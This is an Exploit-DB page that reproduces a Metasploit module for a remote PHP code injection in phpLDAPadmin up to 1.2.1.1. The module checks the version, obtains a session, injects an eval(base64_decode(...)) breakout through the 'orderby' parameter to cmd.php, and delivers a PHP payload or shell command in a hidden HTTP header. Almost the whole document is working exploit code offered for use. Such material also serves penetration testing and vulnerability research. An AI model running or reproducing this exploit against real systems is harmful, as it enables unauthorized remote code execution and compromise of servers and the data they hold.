phpLDAPadmin 1.2.1.1 – Remote PHP Code Injection (Metasploit) (2)

  • 作者: Metasploit
    日期: 2011-10-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18031/
  • ##
    # $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Payload::Php
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
    			'Description'=> %q{
    					This module exploits a vulnerability in the lib/functions.php that allows
    				attackers input parsed directly to the create_function() php function. A patch was 
    				issued that uses a whitelist regex expression to check the user supplied input
    				before being parsed to the create_function() call.
    			},
    			'Author' =>
    				[ 
    					'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc
    					'mr_me <steventhomasseeley[at]gmail-com>',# msf
    					'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 14060 $',
    			'References' =>
    				[
    					['BID', '50331'],
    					['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
    					['URL', 'http://www.exploit-db.com/exploits/18021/'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Space' => 4000,
    					'Keys'=> ['php'],
    				},
    			'Platform' => ['php'],
    			'Arch' => ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Oct 24 2011',
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
    				], self.class)
    	end
    
    	def check
    		uri = ''
    		uri << datastore['URI']
    		uri << '/' if uri[-1,1] != '/'
    		uri << 'index.php'
    
    		res = send_request_raw(
    			{
    				'method'=> 'GET',
    				'uri' => uri,
    			}, 3)
    
    		if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
    			return Exploit::CheckCode::Vulnerable
    		end
    
    		return Exploit::CheckCode::Safe
    	end
    
    	def get_session
    		uri = ''
    		uri << datastore['URI']
    		uri << '/' if uri[-1,1] != '/'
    		uri << 'index.php'
    
    		res = send_request_raw(
    			{
    				'method'=> 'GET',
    				'uri' => uri,
    			}, 3)
    
    		if (not res.headers['Set-Cookie'])
    			print_error("Could not generate a valid session")
    			return
    		end
    
    		return res.headers['Set-Cookie']
    	end
    
    	def cleanup
    		# We may not be using php/exe again, so clear the CMD option
    		if datastore['CMD']
    			datastore['CMD'] = nil
    		end
    	end
    
    	def exploit
    		# if we are using the exec CMD stager
    		# important to check which php functions are disabled
    		if datastore['CMD']
    			cmd = Rex::Text.encode_base64(datastore['CMD'])
    			dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
    			out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
    			shell = <<-END_OF_PHP_CODE
    			$c = base64_decode("#{cmd}");
    			#{php_preamble({:disabled_varname => dis})}
    			#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
    			echo #{out};
    			END_OF_PHP_CODE
    			p = Rex::Text.encode_base64(Rex::Text.compress(shell))
    		else
    			p = Rex::Text.encode_base64(payload.encoded)
    		end
    
    		# Generate some random strings
    		hidden_header = rand_text_alpha_upper(6)
    		fake_func_name = rand_text_alpha_upper(2)
    
    		# build sttack string
    		php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
    		data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
    		session = get_session
    
    		uri = ''
    		uri << datastore['URI']
    		uri << '/' if uri[-1,1] != '/'
    		uri << 'cmd.php'
    
    		res = send_request_cgi(
    			{
    				'method' => 'POST',
    				'uri' => uri,
    				'data' => data,
    				'headers' =>
    					{
    						"#{hidden_header}" => p,
    						'Cookie' => session,
    						'Connection' => 'Close',
    					},
    				
    			}, 3)
    
    		print_status("%s" % res.body) if datastore['CMD']
    	end
    
    end